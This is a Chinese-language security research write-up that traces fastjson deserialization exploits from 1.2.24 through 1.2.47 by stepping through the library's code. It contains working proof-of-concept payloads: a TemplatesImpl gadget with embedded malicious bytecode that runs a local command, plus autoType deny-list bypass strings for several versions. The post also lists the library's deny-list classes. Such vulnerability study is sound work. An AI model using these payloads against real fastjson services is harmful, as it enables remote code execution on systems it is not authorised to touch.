之前的话复现过fastjson 1.2.24的版本,后面面试发现很多面试官会问到后续版本的再利用,正好利用这段时间研究一下。
fastjson 1.2.24 这里先打一遍基础版本的,本地写个代码,然后打断点调试看看 参考了这些文章
https://forum.butian.net/share/3055https://www.javasec.org/java-vuls/FastJson.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package org.example;import com.alibaba.fastjson.JSON;public class Main { public static void main (String[] args) { Person person = new Person ("Alice" , 18 ); String jsonString = JSON.toJSONString(person); System.out.println(jsonString); String jsonString2 = "{\"age\":20,\"name\":\"Bob\"}" ; Person person2 = JSON.parseObject(jsonString2, Person.class); System.out.println(person2.getName() + ", " + person2.getAge()); } public static class Person { private String name; private int age; public Person () { } public Person (String name, int age) { this .name = name; this .age = age; } public String getName () { return name; } public void setName (String name) { this .name = name; } public int getAge () { return age; } public void setAge (int age) { this .age = age; } } }
这里为了方便调试查看代码,加入了ParserConfig.getGlobalInstance().setAsmEnable(false); 打断点之后函数进入到
1 2 3 4 public static JSONObject parseObject (String text) { Object obj = parse(text); return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj); }
进入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static Object parse (String text) { return parse(text, DEFAULT_PARSER_FEATURE); } public static Object parse (String text, int features) {if (text == null ) { return null ; } else { DefaultJSONParser parser = new DefaultJSONParser (text, ParserConfig.getGlobalInstance(), features); Object value = parser.parse(); parser.handleResovleTask(value); parser.close(); return value; } }
注意 parse方法反序列化只会调用setter,但是parseObject因为这里有return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);,它的返回值要求是 JSONObject。JSONObject 本质上是一个 Map<String, Object>,因此他在调用setter之后还会调用getter。 随后会开始反序列化 这里也可以看到调用了setValue方法 然后进入到setAge getAge方法也印证了我们刚开始的猜想,调用栈如下: 、
而fastjson 在反序列化时支持autoType,通过 JSON 中的 @type 字段让程序加载任意类,并在反序列化过程中触发这些类的恶意代码路径(通常是 getter/setter、构造方法或特定的反序列化回调),从而形成RCE。
做一个简单的漏洞复现 之前用vulhub的靶场打过一次,这次主要是为了研究利用链原理,因此直接在本地进行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package org.example;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Test extends AbstractTranslet { public Test () throws IOException { Runtime.getRuntime().exec("open -a Calculator" ); } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform (DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main (String[] args) throws Exception { Test t = new Test (); } }
先把代码编译成class,在base64输出,然后把塞到下面的_bytecodes里
1 2 3 4 5 6 7 8 9 10 11 12 13 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;public class Main { public static void main (String[] args) { ParserConfig config = new ParserConfig (); String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABJMb3JnL2V4YW1wbGUvVGVzdDsBAApFeGNlcHRpb25zBwAsAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAIAAkHAC8MADAAMQEAEm9wZW4gLWEgQ2FsY3VsYXRvcgwAMgAzAQAQb3JnL2V4YW1wbGUvVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAsAAAAOAAMAAAAMAAQADQANAA4ADAAAAAwAAQAAAA4ADQAOAAAADwAAAAQAAQAQAAEAEQASAAEACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAASAAwAAAAqAAQAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAFQAWAAIAAAABABcAGAADAAEAEQAZAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAXAAwAAAAgAAMAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAGgAbAAIADwAAAAQAAQAcAAkAHQAeAAIACgAAAEEAAgACAAAACbsABVm3AAZMsQAAAAIACwAAAAoAAgAAABoACAAbAAwAAAAWAAIAAAAJAB8AIAAAAAgAAQAhAA4AAQAPAAAABAABACIAAQAjAAAAAgAk\n\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}" ; Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField); } }
TemplatesImpl利用链 poc解析 这里因为emplatesImpl的_bytecodes是private的,要想parseObject访问到这个成员,要开启SupportNonPublicField的参数,因此这样调用JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField)
text的定义中,_bytecodes字段,当漏洞被触发时,JDK 内部的 defineTransletClasses() 方法会读取这个字段里的字节流,通过 ClassLoader.defineClass() 把它变成 JVM 内存中真正的 Class 对象。
_outputProperties _outputProperties字段,它在 JSON 中作为一个字段出现,但在 TemplatesImpl 类中,利用的其实是名为 getOutputProperties() 的Getter 方法 。
但是为什么不能写:{ "getOutputProperties": { } }
1 2 3 4 5 6 7 Fastjson 会怎么想?它会按照标准流程思考: 解析:哦,你给了我一个属性名叫 getOutputProperties。 推测:按照 Java Bean 规范,我需要找到这个属性对应的 Setter 方法。 拼接:方法名应该是 set + 属性名。 寻找:它会去类里找 setGetOutputProperties() 这个方法。 结果:TemplatesImpl 里根本没有 setGetOutputProperties()。匹配失败,什么都不会发生。 结论: JSON 的 key 代表的是属性(Property),而不是方法名(Method Name)。Fastjson 会自动给属性名前面加 set 或 get,所以你不能自己在 JSON 里把 get 写出来。
为什么写 _outputProperties 能触发 getOutputProperties()?
这要归功于 Fastjson 的SmartMatch,以及它对 Map 类型的特殊处理。Fastjson 有一个特性叫 SmartMatch。当它在 JSON 里看到 _outputProperties 时,如果找不到完全同名的字段,它会尝试把下划线 _ 去掉,把它当成 outputProperties 来处理 。寻找 Setter(优先)它拿着处理后的名字 outputProperties,去类里找 setOutputProperties()。但是TemplatesImpl 类里没有这个方法。如果是普通属性,到这一步就放弃了。但是,Fastjson 发现 outputProperties 对应的 Getter 方法,getOutputProperties()
利用链调试 匹配getOutputProperties()之后
然后打断点直接进入getOutputProperties这个函数看看
1 2 3 4 5 6 7 8 public synchronized Properties getOutputProperties () { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null ; } }
发现这里的逻辑是必须先 new 一个 Transformer,才能调用它的 getOutputProperties() 然后进入到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); } return transformer; }
这里会跳到 transformer = new TransformerImpl(getTransletInstance() 然后进入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setOverrideDefaultParser(_overrideDefaultParser); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException | IllegalAccessException | NoSuchMethodException | InvocationTargetException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString(), e); } }
因为我们没有输入_class这个参数,他默认为空
因此这段代码会进入if (_class == null) defineTransletClasses(); 然后跳到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
接着就会加载_bytecode的内容,这里可以看到会检查是否继承了AbstractTranslet
1 2 3 4 if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; }
这里我们在代码里提前写好了继承的代码,因此会通过校验,加载完成,程序流程回退到getTransletInstance() 的下一行。
1 2 AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance();
这里调用了newInstance(),会执行该类的无参构造方法,也就是我们的calc。至此完整了整个调用链的跟踪。
总结 TemplatesImpl利用链的整体思路如下:构造一个TemplatesImpl类的反序列化字符串,其中_bytecodes是我们构造的恶意类的类字节码,这个类的父类是AbstractTranslet,最终这个类会被加载并使用newInstance()实例化。在反序列化过程中,由于getter方法getOutputProperties()满足条件,将会被fastjson调用,而这个方法触发了整个漏洞利用流程:getOutputProperties() -> newTransformer() -> getTransletInstance() -> efineTransletClasses()/ EvilClass.newInstance()。
限制条件也很明显:需要代码中加了Feature.SupportNonPublicField。但是我们为了调试方便就现采用这个链子。
fastjson 1.2.25 把版本切成1.2.25之后重新build,可以看到会报错autoType is not support 可以看到的atuoType是false 所以加上
1 config.setAutoTypeSupport(true );
黑名单代码里:
1 2 this .denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework" .split("," );
这里有一个检查逻辑是如果是L开头和;结尾就会去掉并加载 而这里是通过黑名单的之后做的,因此,可以通过这个手段进行绕过。
最终的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;public class Main { public static void main (String[] args) { ParserConfig config = new ParserConfig (); config.setAutoTypeSupport(true ); String text = "{\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\",\"_bytecodes\":[\"xxx\n\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}" ; Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField); } }
这里的payload是基于1.2.24做了最小改动,并不是从通杀的角度考虑。
1.2.42 在版本 1.2.42 中,fastjson 继续延续了黑白名单的检测模式,但是将黑名单类从白名单修改为使用 HASH 的方式进行对比,这是为了防止安全研究人员根据黑名单中的类进行反向研究,用来对未更新的历史版本进行攻击。同时,作者对之前版本一直存在的使用类描述符绕过黑名单校验的问题尝试进行了修复。
切换版本之后可以看到之前的payload已经用不了了。
可以看到这个checkAutoType函数已经变成如下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { if (typeName == null ) { return null ; } else if (typeName.length() < 128 && typeName.length() >= 3 ) { String className = typeName.replace('$' , '.' ); Class<?> clazz = null ; long BASIC = -3750763034362895579L ; long PRIME = 1099511628211L ; if (((-3750763034362895579L ^ (long )className.charAt(0 )) * 1099511628211L ^ (long )className.charAt(className.length() - 1 )) * 1099511628211L == 655701488918567152L ) { className = className.substring(1 , className.length() - 1 ); } long h3 = (((-3750763034362895579L ^ (long )className.charAt(0 )) * 1099511628211L ^ (long )className.charAt(1 )) * 1099511628211L ^ (long )className.charAt(2 )) * 1099511628211L ; long hash; int i; if (this .autoTypeSupport || expectClass != null ) { hash = h3; for (i = 3 ; i < className.length(); ++i) { hash ^= (long )className.charAt(i); hash *= 1099511628211L ; if (Arrays.binarySearch(this .acceptHashCodes, hash) >= 0 ) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader, false ); if (clazz != null ) { return clazz; } } if (Arrays.binarySearch(this .denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null ) { throw new JSONException ("autoType is not support. " + typeName); } } } if (clazz == null ) { clazz = TypeUtils.getClassFromMapping(typeName); } if (clazz == null ) { clazz = this .deserializers.findClass(typeName); } if (clazz != null ) { if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } else { return clazz; } } else { if (!this .autoTypeSupport) { hash = h3; for (i = 3 ; i < className.length(); ++i) { char c = className.charAt(i); hash ^= (long )c; hash *= 1099511628211L ; if (Arrays.binarySearch(this .denyHashCodes, hash) >= 0 ) { throw new JSONException ("autoType is not support. " + typeName); } if (Arrays.binarySearch(this .acceptHashCodes, hash) >= 0 ) { if (clazz == null ) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader, false ); } if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } if (clazz == null ) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader, false ); } if (clazz != null ) { if (TypeUtils.getAnnotation(clazz, JSONType.class) != null ) { return clazz; } if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) { throw new JSONException ("autoType is not support. " + typeName); } if (expectClass != null ) { if (expectClass.isAssignableFrom(clazz)) { return clazz; } throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, this .propertyNamingStrategy); if (beanInfo.creatorConstructor != null && this .autoTypeSupport) { throw new JSONException ("autoType is not support. " + typeName); } } int mask = Feature.SupportAutoType.mask; boolean autoTypeSupport = this .autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0 ; if (!autoTypeSupport) { throw new JSONException ("autoType is not support. " + typeName); } else { return clazz; } } } else { throw new JSONException ("autoType is not support. " + typeName); } } static { String property = IOUtils.getStringProperty("fastjson.parser.deny" ); DENYS = splitItemsFormProperty(property); property = IOUtils.getStringProperty("fastjson.parser.autoTypeSupport" ); AUTO_SUPPORT = "true" .equals(property); property = IOUtils.getStringProperty("fastjson.parser.autoTypeAccept" ); String[] items = splitItemsFormProperty(property); if (items == null ) { items = new String [0 ]; } AUTO_TYPE_ACCEPT_LIST = items; global = new ParserConfig (); awtError = false ; jdk8Error = false ; }
其中if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) { className = className.substring(1, className.length() - 1); } 那个魔术数字 655701488918567152L,其实就是 L 开头且 ; 结尾 的 Hash 值。也就是说如果类名是以 L 开头,并且以 ; 结尾的就把头和尾砍掉。 也就是基于1.2.25做的修改。
去皮之后,代码开始计算剩下字符串的 Hash 值,并去黑名单里比对。 黑名单哈希如下: this.denyHashCodes = new long[]{-8720046426850100497L, -8109300701639721088L, -7966123100503199569L, -7766605818834748097L, -6835437086156813536L, -4837536971810737970L, -4082057040235125754L, -2364987994247679115L, -1872417015366588117L, -254670111376247151L, -190281065685395680L, 33238344207745342L, 313864100207897507L, 1203232727967308606L, 1502845958873959152L, 3547627781654598988L, 3730752432285826863L, 3794316665763266033L, 4147696707147271408L, 5347909877633654828L, 5450448828334921485L, 5751393439502795295L, 5944107969236155580L, 6742705432718011780L, 7179336928365889465L, 7442624256860549330L, 8838294710098435315L}; 所以绕过方法也很简单,从L;变成LL;;就行String text = "{\"@type\":\"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;\".......}
别的还保持不变即可。
1.2.43 这个版本主要是修复上一个版本中双写绕过的问题。 可以看到用来检查的 checkAutoType 代码添加了判断,如果类名连续出现了两个 L 将会抛出异常, 这里主要在上一个版本的if判断中嵌套了一个对于LL;;的判断,就会直接抛异常。
1 2 3 if (((-3750763034362895579L ^ (long )className.charAt(0 )) * 1099511628211L ^ (long )className.charAt(1 )) * 1099511628211L == 655656408941810501L ) { throw new JSONException ("autoType is not support. " + typeName); }
这里我们把目光转向另一个loadclass的规则,TypeUtils.loadClass 里还有一套去皮逻辑是针对 [的。 注意的是: JVM 内部数组的命名规则完全不同: 一维数组:[Ljava.lang.String; (注意:只有一个左中括号 [,没有右中括号) 二维数组:[[Ljava.lang.String; (有两个 [[)
因此他处理也是只会去掉[
最终payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;public class Main { public static void main (String[] args) { ParserConfig config = new ParserConfig (); config.setAutoTypeSupport(true ); String text = "{\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"" + "[" + "{" + "\"_bytecodes\":[\"xxxxx\"]," + "\"_name\":\"a.b\"," + "\"_tfactory\":{ }," + "\"_outputProperties\":{ }" + "}" + "]}" ; Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField); } }
1.2.44 这个版本主要是修复上一个版本中使用 [ 绕过黑名单防护的问题。
影响版本:1.2.25 <= fastjson <= 1.2.44 描述:在此版本将 [ 也进行修复了之后,由字符串处理导致的黑名单绕过也就告一段落了。
可以看到在 checkAutoType 中添加了新的判断,如果类名以 [ 开始则直接抛出异常。
这个的利用方法就是可以利用黑名单绕过,只要找到一个不在黑名单里的类,且它能触发 JNDI 或其他恶意操作,就能绕过防御。
1.2.47 这个版本则是爆出了一个通杀漏洞,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。 这次的绕过问题还是出现在 checkAutoType() 方法中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { if (typeName == null ) { return null ; } else if (typeName.length() < 128 && typeName.length() >= 3 ) { String className = typeName.replace('$' , '.' ); Class<?> clazz = null ; long BASIC = -3750763034362895579L ; long PRIME = 1099511628211L ; long h1 = (-3750763034362895579L ^ (long )className.charAt(0 )) * 1099511628211L ; if (h1 == -5808493101479473382L ) { throw new JSONException ("autoType is not support. " + typeName); } else if ((h1 ^ (long )className.charAt(className.length() - 1 )) * 1099511628211L == 655701488918567152L ) { throw new JSONException ("autoType is not support. " + typeName); } else { long h3 = (((-3750763034362895579L ^ (long )className.charAt(0 )) * 1099511628211L ^ (long )className.charAt(1 )) * 1099511628211L ^ (long )className.charAt(2 )) * 1099511628211L ; long hash; int i; if (this .autoTypeSupport || expectClass != null ) { hash = h3; for (i = 3 ; i < className.length(); ++i) { hash ^= (long )className.charAt(i); hash *= 1099511628211L ; if (Arrays.binarySearch(this .acceptHashCodes, hash) >= 0 ) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader, false ); if (clazz != null ) { return clazz; } } if (Arrays.binarySearch(this .denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null ) { throw new JSONException ("autoType is not support. " + typeName); } } } if (clazz == null ) { clazz = TypeUtils.getClassFromMapping(typeName); } if (clazz == null ) { clazz = this .deserializers.findClass(typeName); } if (clazz != null ) { if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } else { return clazz; } } else { if (!this .autoTypeSupport) { hash = h3; for (i = 3 ; i < className.length(); ++i) { char c = className.charAt(i); hash ^= (long )c; hash *= 1099511628211L ; if (Arrays.binarySearch(this .denyHashCodes, hash) >= 0 ) { throw new JSONException ("autoType is not support. " + typeName); } if (Arrays.binarySearch(this .acceptHashCodes, hash) >= 0 ) { if (clazz == null ) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader, false ); } if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } if (clazz == null ) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader, false ); } if (clazz != null ) { if (TypeUtils.getAnnotation(clazz, JSONType.class) != null ) { return clazz; } if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) { throw new JSONException ("autoType is not support. " + typeName); } if (expectClass != null ) { if (expectClass.isAssignableFrom(clazz)) { return clazz; } throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, this .propertyNamingStrategy); if (beanInfo.creatorConstructor != null && this .autoTypeSupport) { throw new JSONException ("autoType is not support. " + typeName); } } int mask = Feature.SupportAutoType.mask; boolean autoTypeSupport = this .autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0 ; if (!autoTypeSupport) { throw new JSONException ("autoType is not support. " + typeName); } else { return clazz; } } } } else { throw new JSONException ("autoType is not support. " + typeName); } } public void clearDeserializers () { this .deserializers.clear(); this .initDeserializers(); } static { String property = IOUtils.getStringProperty("fastjson.parser.deny" ); DENYS = splitItemsFormProperty(property); property = IOUtils.getStringProperty("fastjson.parser.autoTypeSupport" ); AUTO_SUPPORT = "true" .equals(property); property = IOUtils.getStringProperty("fastjson.parser.autoTypeAccept" ); String[] items = splitItemsFormProperty(property); if (items == null ) { items = new String [0 ]; } AUTO_TYPE_ACCEPT_LIST = items; global = new ParserConfig (); awtError = false ; jdk8Error = false ; }
在这段代码里面有个判断逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if (clazz == null ){ clazz = TypeUtils.getClassFromMapping(typeName); } if (clazz == null ) { clazz = this .deserializers.findClass(typeName); } if (clazz != null ) { if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } else { return clazz; } }
这里他会先去全局缓存 (mappings) 里找有没有clazz,再去内置反序列化器里找,然后,这里的 clazz 如果不为 null,就会直接 return,跳过了下面那段 AutoType=false 的检查。 整个函数的执行逻辑是:
格式检查:不是 [ 或 L; ->通过->开启状态检查:AutoType 是 false->跳过 中间的白名单检查->缓存查找:mappings 里有恶意类->获取成功 (clazz != null)。返回逻辑:发现 clazz 不为空=> 直接 Return->黑名单检查:位于 else 分支.
所以我们就需要在这两个检查中把我们的恶意类塞进去。
先看 deserializers ,位于 com.alibaba.fastjson.parser.ParserConfig.deserializers ,是一个 IdentityHashMap,能向其中赋值的函数有:
getDeserializer():这个类用来加载一些特定类,以及有 JSONType 注解的类,在 put 之前都有类名及相关信息的判断,无法为我们所用。
initDeserializers():无入参,在构造方法中调用,写死一些认为没有危害的固定常用类,无法为我们所用。
putDeserializer():被前两个函数调用,我们无法控制入参。
因此我们无法向 deserializers 中写入值,也就在其中读出我们想要的恶意类。所以我们的目光转向了 TypeUtils.getClassFromMapping(typeName)。
同样的,这个方法从 TypeUtils.mappings 中取值,这是一个 ConcurrentHashMap 对象,能向其中赋值的函数有:
addBaseClassMappings():无入参,加载
loadClass():关键函数
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) { if (className != null && className.length() != 0 ) { Class<?> clazz = (Class)mappings.get(className); if (clazz != null ) { return clazz; } else if (className.charAt(0 ) == '[' ) { Class<?> componentType = loadClass(className.substring(1 ), classLoader); return Array.newInstance(componentType, 0 ).getClass(); } else if (className.startsWith("L" ) && className.endsWith(";" )) { String newClassName = className.substring(1 , className.length() - 1 ); return loadClass(newClassName, classLoader); } else { try { if (classLoader != null ) { clazz = classLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch (Throwable var7) { var7.printStackTrace(); } try { ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); if (contextClassLoader != null && contextClassLoader != classLoader) { clazz = contextClassLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch (Throwable var6) { } try { clazz = Class.forName(className); mappings.put(className, clazz); return clazz; } catch (Throwable var5) { return clazz; } } } else { return null ; } }
loadClass有三个重载方法: 我们需要触发:
1 2 3 if (cache) { mappings.put(className, clazz); }
Class<?> loadClass(String className, ClassLoader classLoader, boolean cache):这是最底层的实现方法。虽然它有一个 boolean cache 参数,但在 Fastjson 的现有代码库中,调用这个方法的地方(例如 checkAutoType 内部检查白名单时),传递给 cache 的参数值通常被硬编码为 false。
